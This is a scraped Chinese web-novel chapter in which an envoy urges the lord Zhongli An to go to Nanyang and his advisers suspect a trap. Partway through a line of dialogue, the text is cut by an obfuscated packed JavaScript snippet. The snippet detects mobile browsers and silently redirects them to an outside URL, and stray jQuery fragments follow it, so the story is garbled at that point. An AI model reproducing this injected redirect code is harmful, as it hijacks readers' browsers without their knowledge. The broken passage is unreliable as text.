59.第五十九章 骑虎难下进退险(第2页)
“原来如此,”杨筱轻笑一声,颇有深意地点了点头,“倒是我疏忽了。先生继续。”
陈让也笑着朝杨筱一颔首,转眸望向钟离桉,下套一般俯身道:“主公本想将那印绶直接送于使君,但南阳万千百姓实在想亲眼得见使君一面,我们也推却不得……”
他故作为难地四下望了望,又被逼无奈似的抬眸看向钟离桉,“所以便只能请使君您亲往南阳走一趟,我主定办下盛宴相请,还请使君您切莫负了百姓的一片盛意啊。”
杨筱捻着茶杯颔首听着,到那陈让要求钟离桉亲往之时,她敏锐地抬眸瞥了一眼陈让,那视线如利刃般锋利,转而她又侧眸望向对座的岑珣,见岑珣预料之中一般朝她轻笑着点了点头,她心中也落实了一个答案,抬手将茶杯落下,饶有兴趣地望向陈让。
“按陈先生之意,这南阳我是非去一次不可了,”钟离桉笑着站起身来,朝陈让抱了抱拳,“不过这印绶我是万万受不得。”
陈让见钟离桉定下要去南阳,也笑着起身迎了上去,“我家太守在治理方面虽不如使君您,但南阳还算是井井有条,生民安乐,兴许您到了那,就改变主意了呢?”
钟离桉闻言笑着拍了拍陈让的肩膀,寒暄道:“若真是那样,还请解太守切莫改变主意啊。”
“那是自然,”陈让朝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021858|174118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
钟离桉笑着,一边拱手,一边往门口退,“既如此,在下便先告退了,此番您答应下来,我家太守的请帖不日便会送到,使君您肯定不是食言之人,我等在南阳恭候使君大驾。”
钟离桉凝着陈让,眼眸里尽是不可洞见的深邃,他牵了牵嘴角,朝那满面堆笑的陈让一拱手,“先生慢走。”
此人张张扬扬来,风风火火走,气势像开玩笑似的,可所言之事却丝毫不能儿戏。
见那陈让满面轻松地笑着掀帘栊踏出门去,钟离桉挤出的笑容顿时冷了下去,他长叹一声,回眸望向自己那几个已然心知肚明的心腹,又轻笑着摇了摇头,“诸位,有何看法?”
陈让这一来,无疑是拉开了新年第一桩大事的序幕。
“兄长,”钟离朔耐不住性子直接抬步迈出桌子,气汹汹地皱眉望向钟离桉,“这陈让不是明显要诓您么?”他抬手指向门外陈让的背影,“他前前后后来这几趟就都是为了把您弄去南阳,我看他准没安什么好心,这南阳您不能去。”
白铭闻言也赞同地点了点头,蹙眉望向钟离按,“煜德所言不假,主公,人心未定,此行定要三思啊。”
陈让和解良的心思太过明显,所有人都一目了然。
明明当年还要趁火打劫的一方势力,见钟离桉声名大振,一战称霸中原,便要极尽谄媚前来攀附,甚至还要把仅有的南阳郡拱手相让。
这怎么可能。萧砚篡权之时,虽无力问鼎中原,但也说得上天下数一数二的势力。而那时钟离桉还是一个名不见经传的太守。
钟离桉发兵平三州之时,南阳解良非但没有归顺萧砚,还想趁乱分一杯羹。如此可见,解良这人,最不缺的就是野心。
而眼下,解良对萧砚没有半分投降之意,甚至还与其结盟,冀豫钟离桉的四州之地。
不用问,所谓献郡投靠定然是个幌子。
再看那使节陈让,赶着年关三番五次地跑到钟离桉帐下阿谀奉承,其目的只有一个——那便是以让贤之名,把钟离桉弄去南阳。
明眼人都识得出这鸿门之宴,那解良又岂会不知?可他们似是赌定了钟离桉必会亲往,胸有成竹地在南阳候着。
钟离桉以“得民心”和“仁义之军”闻名于世,此番,陈让更是凭三寸不烂之舌把他架在了人心的高台上。
他们好意将南阳献予钟离桉,若是钟离桉发兵来打,那便是背信弃义,自毁前程,不但江南会起兵反盟,群雄也会趁机讨伐,冀州顷刻便成了众矢之的。
如若钟离桉不去,那早已得到消息的南阳百姓便失望透顶。如此,又何谈民心?
钟离桉摇摇头坐回位子,轻笑着望向眼前二人,无奈地轻叹一声,“不去难啊,陈让那一张嘴,把我架在那么高的台子上,不去,恐会失信于民啊。”
“谁说不是,”齐琨也赞同地点点头,靠在桌边抬眸望向钟离朔,“主公爱民人尽皆知,如今那解良和陈让拿南阳百姓束住主公,还要扬言将南阳郡献于主公。于情于理,拒绝都不合时宜。”
“那总不能真让兄长去吧?”钟离朔焦躁地上前一步,愤懑地朝门外一指,“您看陈让那个样子,我们不如直接发兵,把南阳打下来算了。”
钟离桉闻言不由得笑出声,他抬手刮了刮钟离朔的鼻子,“你啊,人家好意将南阳郡送予我等,我们却要发兵攻打,若真如此,我们还怎么在世间立足?”
他轻叹一声,也靠在桌上,抬眸望着窗外当空的日头,“此事定不能轻断,他们还真的没给我选择的余地。”